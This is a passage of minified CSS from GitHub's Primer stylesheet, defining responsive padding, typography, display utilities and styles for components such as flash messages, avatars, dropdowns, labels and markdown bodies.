!important}.pl-lg-1{padding-left:4px !important}.px-lg-1{padding-right:4px !important;padding-left:4px !important}.py-lg-1{padding-top:4px !important;padding-bottom:4px !important}.p-lg-2{padding:8px !important}.pt-lg-2{padding-top:8px !important}.pr-lg-2{padding-right:8px !important}.pb-lg-2{padding-bottom:8px !important}.pl-lg-2{padding-left:8px !important}.px-lg-2{padding-right:8px !important;padding-left:8px !important}.py-lg-2{padding-top:8px !important;padding-bottom:8px !important}.p-lg-3{padding:16px !important}.pt-lg-3{padding-top:16px !important}.pr-lg-3{padding-right:16px !important}.pb-lg-3{padding-bottom:16px !important}.pl-lg-3{padding-left:16px !important}.px-lg-3{padding-right:16px !important;padding-left:16px !important}.py-lg-3{padding-top:16px !important;padding-bottom:16px !important}.p-lg-4{padding:24px !important}.pt-lg-4{padding-top:24px !important}.pr-lg-4{padding-right:24px !important}.pb-lg-4{padding-bottom:24px !important}.pl-lg-4{padding-left:24px !important}.px-lg-4{padding-right:24px !important;padding-left:24px !important}.py-lg-4{padding-top:24px !important;padding-bottom:24px !important}.p-lg-5{padding:32px !important}.pt-lg-5{padding-top:32px !important}.pr-lg-5{padding-right:32px !important}.pb-lg-5{padding-bottom:32px !important}.pl-lg-5{padding-left:32px !important}.px-lg-5{padding-right:32px !important;padding-left:32px !important}.py-lg-5{padding-top:32px !important;padding-bottom:32px !important}.p-lg-6{padding:40px !important}.pt-lg-6{padding-top:40px !important}.pr-lg-6{padding-right:40px !important}.pb-lg-6{padding-bottom:40px !important}.pl-lg-6{padding-left:40px !important}.px-lg-6{padding-right:40px !important;padding-left:40px !important}.py-lg-6{padding-top:40px !important;padding-bottom:40px !important}.pt-lg-7{padding-top:48px !important}.pr-lg-7{padding-right:48px !important}.pb-lg-7{padding-bottom:48px !important}.pl-lg-7{padding-left:48px !important}.py-lg-7{padding-top:48px !important;padding-bottom:48px !important}.pt-lg-8{padding-top:64px !important}.pr-lg-8{padding-right:64px !important}.pb-lg-8{padding-bottom:64px !important}.pl-lg-8{padding-left:64px !important}.py-lg-8{padding-top:64px !important;padding-bottom:64px !important}.pt-lg-9{padding-top:80px !important}.pr-lg-9{padding-right:80px !important}.pb-lg-9{padding-bottom:80px !important}.pl-lg-9{padding-left:80px !important}.py-lg-9{padding-top:80px !important;padding-bottom:80px !important}.pt-lg-10{padding-top:96px !important}.pr-lg-10{padding-right:96px !important}.pb-lg-10{padding-bottom:96px !important}.pl-lg-10{padding-left:96px !important}.py-lg-10{padding-top:96px !important;padding-bottom:96px !important}.pt-lg-11{padding-top:112px !important}.pr-lg-11{padding-right:112px !important}.pb-lg-11{padding-bottom:112px !important}.pl-lg-11{padding-left:112px !important}.py-lg-11{padding-top:112px !important;padding-bottom:112px !important}.pt-lg-12{padding-top:128px !important}.pr-lg-12{padding-right:128px !important}.pb-lg-12{padding-bottom:128px !important}.pl-lg-12{padding-left:128px !important}.py-lg-12{padding-top:128px !important;padding-bottom:128px !important}}@media(min-width: 1280px){.p-xl-0{padding:0 !important}.pt-xl-0{padding-top:0 !important}.pr-xl-0{padding-right:0 !important}.pb-xl-0{padding-bottom:0 !important}.pl-xl-0{padding-left:0 !important}.px-xl-0{padding-right:0 !important;padding-left:0 !important}.py-xl-0{padding-top:0 !important;padding-bottom:0 !important}.p-xl-1{padding:4px !important}.pt-xl-1{padding-top:4px !important}.pr-xl-1{padding-right:4px !important}.pb-xl-1{padding-bottom:4px !important}.pl-xl-1{padding-left:4px !important}.px-xl-1{padding-right:4px !important;padding-left:4px !important}.py-xl-1{padding-top:4px !important;padding-bottom:4px !important}.p-xl-2{padding:8px !important}.pt-xl-2{padding-top:8px !important}.pr-xl-2{padding-right:8px !important}.pb-xl-2{padding-bottom:8px !important}.pl-xl-2{padding-left:8px !important}.px-xl-2{padding-right:8px !important;padding-left:8px !important}.py-xl-2{padding-top:8px !important;padding-bottom:8px !important}.p-xl-3{padding:16px !important}.pt-xl-3{padding-top:16px !important}.pr-xl-3{padding-right:16px !important}.pb-xl-3{padding-bottom:16px !important}.pl-xl-3{padding-left:16px !important}.px-xl-3{padding-right:16px !important;padding-left:16px !important}.py-xl-3{padding-top:16px !important;padding-bottom:16px !important}.p-xl-4{padding:24px !important}.pt-xl-4{padding-top:24px !important}.pr-xl-4{padding-right:24px !important}.pb-xl-4{padding-bottom:24px !important}.pl-xl-4{padding-left:24px !important}.px-xl-4{padding-right:24px !important;padding-left:24px !important}.py-xl-4{padding-top:24px !important;padding-bottom:24px !important}.p-xl-5{padding:32px !important}.pt-xl-5{padding-top:32px !important}.pr-xl-5{padding-right:32px !important}.pb-xl-5{padding-bottom:32px !important}.pl-xl-5{padding-left:32px !important}.px-xl-5{padding-right:32px !important;padding-left:32px !important}.py-xl-5{padding-top:32px !important;padding-bottom:32px !important}.p-xl-6{padding:40px !important}.pt-xl-6{padding-top:40px !important}.pr-xl-6{padding-right:40px !important}.pb-xl-6{padding-bottom:40px !important}.pl-xl-6{padding-left:40px !important}.px-xl-6{padding-right:40px !important;padding-left:40px !important}.py-xl-6{padding-top:40px !important;padding-bottom:40px !important}.pt-xl-7{padding-top:48px !important}.pr-xl-7{padding-right:48px !important}.pb-xl-7{padding-bottom:48px !important}.pl-xl-7{padding-left:48px !important}.py-xl-7{padding-top:48px !important;padding-bottom:48px !important}.pt-xl-8{padding-top:64px !important}.pr-xl-8{padding-right:64px !important}.pb-xl-8{padding-bottom:64px !important}.pl-xl-8{padding-left:64px !important}.py-xl-8{padding-top:64px !important;padding-bottom:64px !important}.pt-xl-9{padding-top:80px !important}.pr-xl-9{padding-right:80px !important}.pb-xl-9{padding-bottom:80px !important}.pl-xl-9{padding-left:80px !important}.py-xl-9{padding-top:80px !important;padding-bottom:80px !important}.pt-xl-10{padding-top:96px !important}.pr-xl-10{padding-right:96px !important}.pb-xl-10{padding-bottom:96px !important}.pl-xl-10{padding-left:96px !important}.py-xl-10{padding-top:96px !important;padding-bottom:96px !important}.pt-xl-11{padding-top:112px !important}.pr-xl-11{padding-right:112px !important}.pb-xl-11{padding-bottom:112px !important}.pl-xl-11{padding-left:112px !important}.py-xl-11{padding-top:112px !important;padding-bottom:112px !important}.pt-xl-12{padding-top:128px !important}.pr-xl-12{padding-right:128px !important}.pb-xl-12{padding-bottom:128px !important}.pl-xl-12{padding-left:128px !important}.py-xl-12{padding-top:128px !important;padding-bottom:128px !important}}.p-responsive{padding-right:16px !important;padding-left:16px !important}@media(min-width: 544px){.p-responsive{padding-right:40px !important;padding-left:40px !important}}@media(min-width: 1012px){.p-responsive{padding-right:16px !important;padding-left:16px !important}}.h1{font-size:26px !important}@media(min-width: 768px){.h1{font-size:32px !important}}.h2{font-size:22px !important}@media(min-width: 768px){.h2{font-size:24px !important}}.h3{font-size:18px !important}@media(min-width: 768px){.h3{font-size:20px !important}}.h4{font-size:16px !important}.h5{font-size:14px !important}.h6{font-size:12px !important}.h1,.h2,.h3,.h4,.h5,.h6{font-weight:600 !important}.f1{font-size:26px !important}@media(min-width: 768px){.f1{font-size:32px !important}}.f2{font-size:22px !important}@media(min-width: 768px){.f2{font-size:24px !important}}.f3{font-size:18px !important}@media(min-width: 768px){.f3{font-size:20px !important}}.f4{font-size:16px !important}@media(min-width: 768px){.f4{font-size:16px !important}}.f5{font-size:14px !important}.f6{font-size:12px !important}.f00-light{font-size:40px !important;font-weight:300 !important}@media(min-width: 768px){.f00-light{font-size:48px !important}}.f0-light{font-size:32px !important;font-weight:300 !important}@media(min-width: 768px){.f0-light{font-size:40px !important}}.f1-light{font-size:26px !important;font-weight:300 !important}@media(min-width: 768px){.f1-light{font-size:32px !important}}.f2-light{font-size:22px !important;font-weight:300 !important}@media(min-width: 768px){.f2-light{font-size:24px !important}}.f3-light{font-size:18px !important;font-weight:300 !important}@media(min-width: 768px){.f3-light{font-size:20px !important}}.text-small{font-size:12px !important}.lead{margin-bottom:30px;font-size:20px;font-weight:300}.lh-condensed-ultra{line-height:1 !important}.lh-condensed{line-height:1.25 !important}.lh-default{line-height:1.5 !important}.lh-0{line-height:0 !important}@media(min-width: 544px){.lh-sm-condensed-ultra{line-height:1 !important}.lh-sm-condensed{line-height:1.25 !important}.lh-sm-default{line-height:1.5 !important}.lh-sm-0{line-height:0 !important}}@media(min-width: 768px){.lh-md-condensed-ultra{line-height:1 !important}.lh-md-condensed{line-height:1.25 !important}.lh-md-default{line-height:1.5 !important}.lh-md-0{line-height:0 !important}}@media(min-width: 1012px){.lh-lg-condensed-ultra{line-height:1 !important}.lh-lg-condensed{line-height:1.25 !important}.lh-lg-default{line-height:1.5 !important}.lh-lg-0{line-height:0 !important}}@media(min-width: 1280px){.lh-xl-condensed-ultra{line-height:1 !important}.lh-xl-condensed{line-height:1.25 !important}.lh-xl-default{line-height:1.5 !important}.lh-xl-0{line-height:0 !important}}.text-right{text-align:right !important}.text-left{text-align:left !important}.text-center{text-align:center !important}@media(min-width: 544px){.text-sm-right{text-align:right !important}.text-sm-left{text-align:left !important}.text-sm-center{text-align:center !important}}@media(min-width: 768px){.text-md-right{text-align:right !important}.text-md-left{text-align:left !important}.text-md-center{text-align:center !important}}@media(min-width: 1012px){.text-lg-right{text-align:right !important}.text-lg-left{text-align:left !important}.text-lg-center{text-align:center !important}}@media(min-width: 1280px){.text-xl-right{text-align:right !important}.text-xl-left{text-align:left !important}.text-xl-center{text-align:center !important}}.text-normal{font-weight:400 !important}.text-bold{font-weight:600 !important}.text-semibold{font-weight:500 !important}.text-light{font-weight:300 !important}.text-italic{font-style:italic !important}.text-uppercase{text-transform:uppercase !important}.text-underline{text-decoration:underline !important}.no-underline{text-decoration:none !important}.no-wrap{white-space:nowrap !important}.ws-normal{white-space:normal !important}.wb-break-word{word-break:break-word !important;word-wrap:break-word !important;overflow-wrap:break-word !important}.wb-break-all{word-break:break-all !important}.text-emphasized{font-weight:600}.list-style-none{list-style:none !important}.text-mono{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace !important}.user-select-none{-webkit-user-select:none !important;user-select:none !important}.text-capitalize{text-transform:capitalize !important}.d-block{display:block !important}.d-flex{display:flex !important}.d-inline{display:inline !important}.d-inline-block{display:inline-block !important}.d-inline-flex{display:inline-flex !important}.d-none{display:none !important}.d-table{display:table !important}.d-table-cell{display:table-cell !important}@media(min-width: 544px){.d-sm-block{display:block !important}.d-sm-flex{display:flex !important}.d-sm-inline{display:inline !important}.d-sm-inline-block{display:inline-block !important}.d-sm-inline-flex{display:inline-flex !important}.d-sm-none{display:none !important}.d-sm-table{display:table !important}.d-sm-table-cell{display:table-cell !important}}@media(min-width: 768px){.d-md-block{display:block !important}.d-md-flex{display:flex !important}.d-md-inline{display:inline !important}.d-md-inline-block{display:inline-block !important}.d-md-inline-flex{display:inline-flex !important}.d-md-none{display:none !important}.d-md-table{display:table !important}.d-md-table-cell{display:table-cell !important}}@media(min-width: 1012px){.d-lg-block{display:block !important}.d-lg-flex{display:flex !important}.d-lg-inline{display:inline !important}.d-lg-inline-block{display:inline-block !important}.d-lg-inline-flex{display:inline-flex !important}.d-lg-none{display:none !important}.d-lg-table{display:table !important}.d-lg-table-cell{display:table-cell !important}}@media(min-width: 1280px){.d-xl-block{display:block !important}.d-xl-flex{display:flex !important}.d-xl-inline{display:inline !important}.d-xl-inline-block{display:inline-block !important}.d-xl-inline-flex{display:inline-flex !important}.d-xl-none{display:none !important}.d-xl-table{display:table !important}.d-xl-table-cell{display:table-cell !important}}.v-hidden{visibility:hidden !important}.v-visible{visibility:visible !important}@media(max-width: 543.98px){.hide-sm{display:none !important}}@media(min-width: 544px)and (max-width: 767.98px){.hide-md{display:none !important}}@media(min-width: 768px)and (max-width: 1011.98px){.hide-lg{display:none !important}}@media(min-width: 1012px){.hide-xl{display:none !important}}.show-whenNarrow,.show-whenRegular,.show-whenWide,.show-whenRegular.hide-whenWide{display:none !important}.hide-whenNarrow,.hide-whenRegular,.hide-whenWide{display:block !important}@media(max-width: 767.98px){.show-whenNarrow{display:block !important}.hide-whenNarrow{display:none !important}}@media(min-width: 768px){.show-whenRegular,.show-whenRegular.hide-whenWide{display:block !important}.hide-whenRegular{display:none !important}}@media(min-width: 1280px){.show-whenWide{display:block !important}.hide-whenWide,.show-whenRegular.hide-whenWide{display:none !important}}.table-fixed{table-layout:fixed !important}.sr-only{position:absolute;width:1px;height:1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);word-wrap:normal;border:0}.show-on-focus{position:absolute;width:1px;height:1px;margin:0;overflow:hidden;clip:rect(1px, 1px, 1px, 1px)}.show-on-focus:focus{z-index:20;width:auto;height:auto;clip:auto}/*! + * @primer/css/product + * http://primer.style/css + * + * Released under MIT license. Copyright (c) 2019 GitHub Inc. + */.flash{position:relative;padding:20px 16px;border-style:solid;border-width:1px;border-radius:6px}.flash p:last-child{margin-bottom:0}.flash .octicon{margin-right:12px}.flash-messages{margin-bottom:24px}.flash-close{float:right;padding:16px;margin:-16px;text-align:center;cursor:pointer;background:none;border:0;-webkit-appearance:none;appearance:none}.flash-close:hover{opacity:.7}.flash-close:active{opacity:.5}.flash-close .octicon{margin-right:0}.flash-action{float:right;margin-top:-3px;margin-left:24px;background-clip:padding-box}.flash-action.btn .octicon{margin-right:4px;color:var(--color-fg-muted)}.flash-action.btn-primary{background-clip:border-box}.flash-action.btn-primary .octicon{color:inherit}.flash{color:var(--color-fg-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle));border-color:var(--color-accent-muted)}.flash .octicon{color:var(--color-accent-fg)}.flash-warn{color:var(--color-fg-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.flash-warn .octicon{color:var(--color-attention-fg)}.flash-error{color:var(--color-fg-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.flash-error .octicon{color:var(--color-danger-fg)}.flash-success{color:var(--color-fg-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.flash-success .octicon{color:var(--color-success-fg)}.flash-full{margin-top:-1px;border-width:1px 0;border-radius:0}.flash-banner{position:fixed;top:0;z-index:90;width:100%;border-top:0;border-right:0;border-left:0;border-radius:0}.flash-full,.flash-banner{background-color:var(--color-canvas-default)}.warning{padding:.5em;margin-bottom:.8em;font-weight:600;background-color:var(--color-attention-subtle)}.autocomplete-label-stacked{display:block;margin-bottom:6px}.autocomplete-label-inline{display:inline;margin-right:6px}@media(max-width: 544px){.autocomplete-label-inline{display:block;margin-bottom:6px}}.autocomplete-body{position:relative;display:inline}.autocomplete-embedded-icon-wrap{display:inline-flex;padding:4px 8px;align-items:center}.autocomplete-embedded-icon-wrap:focus-within{border-color:var(--color-accent-fg);border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.autocomplete-embedded-icon-wrap .form-control{padding:0;margin-left:8px;border:none;box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus{box-shadow:none}.autocomplete-embedded-icon-wrap .form-control:focus-visible{box-shadow:none}.autocomplete-results{position:absolute;left:0;z-index:99;width:max-content;min-width:100%;max-height:20em;overflow-y:auto;font-size:13px;list-style:none;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.autocomplete-item{display:block;width:100%;padding:4px 8px;overflow:hidden;font-weight:600;color:var(--color-fg-default);text-align:left;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;background-color:var(--color-canvas-overlay);border:0}.autocomplete-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item:hover *{color:inherit !important}.autocomplete-item.selected,.autocomplete-item[aria-selected=true],.autocomplete-item.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.autocomplete-item.selected *,.autocomplete-item[aria-selected=true] *,.autocomplete-item.navigation-focus *{color:inherit !important}.suggester{position:relative;top:0;left:0;min-width:180px;padding:0;margin:0;margin-top:24px;list-style:none;cursor:pointer;background:var(--color-canvas-overlay);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-medium)}.suggester li{display:block;padding:4px 8px;font-weight:500;border-bottom:1px solid var(--color-border-muted)}.suggester li small{font-weight:400;color:var(--color-fg-muted)}.suggester li:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.suggester li:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.suggester li:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li:hover small{color:var(--color-fg-on-emphasis)}.suggester li:hover .octicon{color:inherit !important}.suggester li[aria-selected=true],.suggester li.navigation-focus{color:var(--color-fg-on-emphasis);text-decoration:none;background:var(--color-accent-emphasis)}.suggester li[aria-selected=true] small,.suggester li.navigation-focus small{color:var(--color-fg-on-emphasis)}.suggester li[aria-selected=true] .octicon,.suggester li.navigation-focus .octicon{color:inherit !important}.suggester-container{position:absolute;top:0;left:0;z-index:30}@media(max-width: 544px){.page-responsive .suggester-container{right:8px !important;left:8px !important}.page-responsive .suggester li{padding:8px 16px}}.avatar{display:inline-block;overflow:hidden;line-height:1;vertical-align:middle;background-color:var(--color-avatar-bg);border-radius:6px;flex-shrink:0;box-shadow:0 0 0 1px var(--color-avatar-border)}.avatar-link{float:left;line-height:1}.avatar-group-item{display:inline-block;margin-bottom:3px}.avatar-1,.avatar-2,.avatar-small{border-radius:4px}.avatar-1{width:16px;height:16px}.avatar-2{width:20px;height:20px}.avatar-3{width:24px;height:24px}.avatar-4{width:28px;height:28px}.avatar-5{width:32px;height:32px}.avatar-6{width:40px;height:40px}.avatar-7{width:48px;height:48px}.avatar-8{width:64px;height:64px}.avatar-parent-child{position:relative}.avatar-child{position:absolute;right:-15%;bottom:-9%;background-color:var(--color-canvas-default);border-radius:4px;box-shadow:var(--color-avatar-child-shadow)}.AvatarStack{position:relative;min-width:26px;height:20px}.AvatarStack .AvatarStack-body{position:absolute}.AvatarStack.AvatarStack--two{min-width:36px}.AvatarStack.AvatarStack--three-plus{min-width:46px}.AvatarStack-body{display:flex;background:var(--color-canvas-default)}.AvatarStack-body .avatar{position:relative;z-index:2;display:flex;width:20px;height:20px;box-sizing:content-box;margin-right:-11px;background-color:var(--color-canvas-default);border-right:1px solid var(--color-canvas-default);border-radius:4px;box-shadow:none;transition:margin .1s ease-in-out}.AvatarStack-body .avatar:first-child{z-index:3}.AvatarStack-body .avatar:last-child{z-index:1;border-right:0}.AvatarStack-body .avatar img{border-radius:4px}.AvatarStack-body .avatar:nth-child(n+4){display:none;opacity:0}.AvatarStack-body:hover .avatar{margin-right:3px}.AvatarStack-body:hover .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack-body:hover .avatar-more{display:none !important}.avatar.avatar-more{z-index:1;margin-right:0;background:var(--color-canvas-subtle)}.avatar.avatar-more::before,.avatar.avatar-more::after{position:absolute;display:block;height:20px;content:"";border-radius:2px;outline:1px solid var(--color-canvas-default)}.avatar.avatar-more::before{width:17px;background:var(--color-avatar-stack-fade-more)}.avatar.avatar-more::after{width:14px;background:var(--color-avatar-stack-fade)}.AvatarStack--right .AvatarStack-body{right:0;flex-direction:row-reverse}.AvatarStack--right .AvatarStack-body:hover .avatar{margin-right:0;margin-left:3px}.AvatarStack--right .avatar.avatar-more{background:var(--color-avatar-stack-fade)}.AvatarStack--right .avatar.avatar-more::before{width:5px}.AvatarStack--right .avatar.avatar-more::after{width:2px;background:var(--color-canvas-subtle)}.AvatarStack--right .avatar{margin-right:0;margin-left:-11px;border-right:0;border-left:1px solid var(--color-canvas-default)}.CircleBadge{display:flex;align-items:center;justify-content:center;background-color:var(--color-canvas-default);border-radius:50%;box-shadow:var(--color-shadow-medium)}.CircleBadge-icon{max-width:60% !important;height:auto !important;max-height:55% !important}.CircleBadge--small{width:56px;height:56px}.CircleBadge--medium{width:96px;height:96px}.CircleBadge--large{width:128px;height:128px}.DashedConnection{position:relative}.DashedConnection::before{position:absolute;top:50%;left:0;width:100%;content:"";border-bottom:2px dashed var(--color-border-default)}.DashedConnection .CircleBadge{position:relative}.blankslate{position:relative;padding:32px;text-align:center}.blankslate p{color:var(--color-fg-muted)}.blankslate code{padding:2px 5px 3px;font-size:14px;background:var(--color-canvas-default);border:1px solid var(--color-border-muted);border-radius:6px}.blankslate img{width:56px;height:56px}.blankslate-icon{margin-right:4px;margin-bottom:8px;margin-left:4px;color:var(--color-fg-muted)}.blankslate-image{margin-bottom:16px}.blankslate-heading{margin-bottom:4px}.blankslate-action{margin-top:16px}.blankslate-action:first-of-type{margin-top:24px}.blankslate-action:last-of-type{margin-bottom:8px}.blankslate-capped{border-radius:0 0 6px 6px}.blankslate-spacious{padding:80px 40px}.blankslate-narrow{max-width:485px;margin:0 auto}.blankslate-large img{width:80px;height:80px}.blankslate-large h3{margin:16px 0;font-size:24px}.blankslate-large p{font-size:16px}.blankslate-clean-background{border:0}.branch-name{display:inline-block;padding:2px 6px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);word-break:break-all;background-color:var(--color-accent-subtle);border-radius:6px}.branch-name .octicon{margin:1px -2px 0 0;color:var(--color-fg-muted)}a.branch-name{color:var(--color-accent-fg);background-color:var(--color-accent-subtle)}a.branch-name .octicon{color:var(--color-accent-fg)}.dropdown{position:relative}.dropdown-caret{display:inline-block;width:0;height:0;vertical-align:middle;content:"";border-style:solid;border-width:4px 4px 0;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.dropdown-menu{position:absolute;top:100%;left:0;z-index:100;width:160px;padding-top:4px;padding-bottom:4px;margin-top:2px;list-style:none;background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.dropdown-menu::before,.dropdown-menu::after{position:absolute;display:inline-block;content:""}.dropdown-menu::before{border:8px solid transparent;border-bottom-color:var(--color-border-default)}.dropdown-menu::after{border:7px solid transparent;border-bottom-color:var(--color-canvas-overlay)}.dropdown-menu>ul{list-style:none}.dropdown-menu-no-overflow{width:auto}.dropdown-menu-no-overflow .dropdown-item{padding:4px 16px;overflow:visible;text-overflow:inherit}.dropdown-item{display:block;padding:4px 8px 4px 16px;overflow:hidden;color:var(--color-fg-default);text-overflow:ellipsis;white-space:nowrap}.dropdown-item:hover{color:var(--color-fg-on-emphasis);text-decoration:none;background-color:var(--color-accent-emphasis)}.dropdown-item:hover>.octicon{color:inherit;opacity:1}.dropdown-item:hover [class*=color-text-]{color:inherit !important}.dropdown-item:hover>.Label{color:inherit !important;border-color:currentColor}.dropdown-item.btn-link{width:100%;text-align:left}.dropdown-signout{width:100%;text-align:left;background:none;border:0}.dropdown-divider{display:block;height:0;margin:8px 0;border-top:1px solid var(--color-border-default)}.dropdown-header{padding:4px 16px;font-size:12px;color:var(--color-fg-muted)}.dropdown-item[aria-checked=false] .octicon-check{display:none}.dropdown-menu-w{top:0;right:100%;left:auto;width:auto;margin-top:0;margin-right:8px}.dropdown-menu-w::before{top:10px;right:-16px;left:auto;border-color:transparent;border-left-color:var(--color-border-default)}.dropdown-menu-w::after{top:11px;right:-14px;left:auto;border-color:transparent;border-left-color:var(--color-canvas-overlay)}.dropdown-menu-e{top:0;left:100%;width:auto;margin-top:0;margin-left:8px}.dropdown-menu-e::before{top:10px;left:-16px;border-color:transparent;border-right-color:var(--color-border-default)}.dropdown-menu-e::after{top:11px;left:-14px;border-color:transparent;border-right-color:var(--color-canvas-overlay)}.dropdown-menu-ne{top:auto;bottom:100%;left:0;margin-bottom:3px}.dropdown-menu-ne::before,.dropdown-menu-ne::after{top:auto;right:auto}.dropdown-menu-ne::before{bottom:-8px;left:9px;border-top:8px solid var(--color-border-default);border-right:8px solid transparent;border-bottom:0;border-left:8px solid transparent}.dropdown-menu-ne::after{bottom:-7px;left:10px;border-top:7px solid var(--color-canvas-overlay);border-right:7px solid transparent;border-bottom:0;border-left:7px solid transparent}.dropdown-menu-s{right:50%;left:auto;transform:translateX(50%)}.dropdown-menu-s::before{top:-16px;right:50%;transform:translateX(50%)}.dropdown-menu-s::after{top:-14px;right:50%;transform:translateX(50%)}.dropdown-menu-sw{right:0;left:auto}.dropdown-menu-sw::before{top:-16px;right:9px;left:auto}.dropdown-menu-sw::after{top:-14px;right:10px;left:auto}.dropdown-menu-se::before{top:-16px;left:9px}.dropdown-menu-se::after{top:-14px;left:10px}.Header{z-index:32;display:flex;padding:16px;font-size:14px;line-height:1.5;color:var(--color-header-text);background-color:var(--color-header-bg);align-items:center;flex-wrap:nowrap}.Header-item{display:flex;margin-right:16px;align-self:stretch;align-items:center;flex-wrap:nowrap}.Header-item--full{flex:auto}.Header-link{font-weight:600;color:var(--color-header-logo);white-space:nowrap}.Header-link:hover,.Header-link:focus{color:var(--color-header-text);text-decoration:none}.Header-input{color:var(--color-header-text);background-color:var(--color-header-search-bg);border:1px solid var(--color-header-search-border);box-shadow:none}.Header-input::placeholder{color:rgba(255,255,255,.75)}.IssueLabel{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em}.IssueLabel .g-emoji{position:relative;top:-0.05em;display:inline-block;font-size:1em;line-height:1}.IssueLabel:hover{text-decoration:none}.IssueLabel--big{padding-right:10px;padding-left:10px;line-height:22px}.labels{position:relative}.label,.Label{display:inline-block;padding:0 7px;font-size:12px;font-weight:500;line-height:18px;white-space:nowrap;border:1px solid transparent;border-radius:2em;border-color:var(--color-border-default)}.label:hover,.Label:hover{text-decoration:none}.Label--large{padding-right:10px;padding-left:10px;line-height:22px}.Label--inline{display:inline;padding:.12em .5em;font-size:85%}.Label--primary{color:var(--color-fg-default);border-color:var(--color-neutral-emphasis)}.Label--secondary{color:var(--color-fg-muted);border-color:var(--color-border-default)}.Label--info,.Label--accent{color:var(--color-accent-fg);border-color:var(--color-accent-emphasis)}.Label--success{color:var(--color-success-fg);border-color:var(--color-success-emphasis)}.Label--warning,.Label--attention{color:var(--color-attention-fg);border-color:var(--color-attention-emphasis)}.Label--severe{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label--danger{color:var(--color-danger-fg);border-color:var(--color-danger-emphasis)}.Label--open{color:var(--color-open-fg);border-color:var(--color-open-emphasis)}.Label--closed{color:var(--color-closed-fg);border-color:var(--color-closed-emphasis)}.Label--done{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label--sponsors{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}.state,.State{display:inline-block;padding:5px 12px;font-size:14px;font-weight:500;line-height:20px;text-align:center;white-space:nowrap;border-radius:2em}.state,.State,.State--draft{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis);border:1px solid transparent}.State--open{color:var(--color-fg-on-emphasis);background-color:var(--color-open-emphasis)}.State--merged{color:var(--color-fg-on-emphasis);background-color:var(--color-done-emphasis)}.State--closed{color:var(--color-fg-on-emphasis);background-color:var(--color-closed-emphasis)}.State--small{padding:0 10px;font-size:12px;line-height:24px}.State--small .octicon{width:1em}.Counter{display:inline-block;min-width:20px;padding:0 6px;font-size:12px;font-weight:500;line-height:18px;color:var(--color-fg-default);text-align:center;background-color:var(--color-neutral-muted);border:1px solid var(--color-counter-border);border-radius:2em}.Counter:empty{display:none}.Counter .octicon{vertical-align:text-top;opacity:.8}.Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.Counter--secondary{color:var(--color-fg-muted);background-color:var(--color-neutral-subtle)}.diffstat{font-size:12px;font-weight:600;color:var(--color-fg-muted);white-space:nowrap;cursor:default}.diffstat-block-deleted,.diffstat-block-added,.diffstat-block-neutral{display:inline-block;width:8px;height:8px;margin-left:1px;outline-offset:-1px}.diffstat-block-deleted{background-color:var(--color-danger-emphasis);outline:1px solid var(--color-border-subtle)}.diffstat-block-added{background-color:var(--color-diffstat-addition-bg);outline:1px solid var(--color-border-subtle)}.diffstat-block-neutral{background-color:var(--color-neutral-muted);outline:1px solid var(--color-border-subtle)}.AnimatedEllipsis{display:inline-block;overflow:hidden;vertical-align:bottom}.AnimatedEllipsis::after{display:inline-block;content:"...";animation:AnimatedEllipsis-keyframes 1.2s steps(4, jump-none) infinite}@keyframes AnimatedEllipsis-keyframes{0%{transform:translateX(-100%)}}.markdown-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:16px;line-height:1.5;word-wrap:break-word}.markdown-body::before{display:table;content:""}.markdown-body::after{display:table;clear:both;content:""}.markdown-body>*:first-child{margin-top:0 !important}.markdown-body>*:last-child{margin-bottom:0 !important}.markdown-body a:not([href]){color:inherit;text-decoration:none}.markdown-body .absent{color:var(--color-danger-fg)}.markdown-body .anchor{float:left;padding-right:4px;margin-left:-20px;line-height:1}.markdown-body .anchor:focus{outline:none}.markdown-body p,.markdown-body blockquote,.markdown-body ul,.markdown-body ol,.markdown-body dl,.markdown-body table,.markdown-body pre,.markdown-body details{margin-top:0;margin-bottom:16px}.markdown-body hr{height:.25em;padding:0;margin:24px 0;background-color:var(--color-border-default);border:0}.markdown-body blockquote{padding:0 1em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body h1,.markdown-body h2,.markdown-body h3,.markdown-body h4,.markdown-body h5,.markdown-body h6{margin-top:24px;margin-bottom:16px;font-weight:600;line-height:1.25}.markdown-body 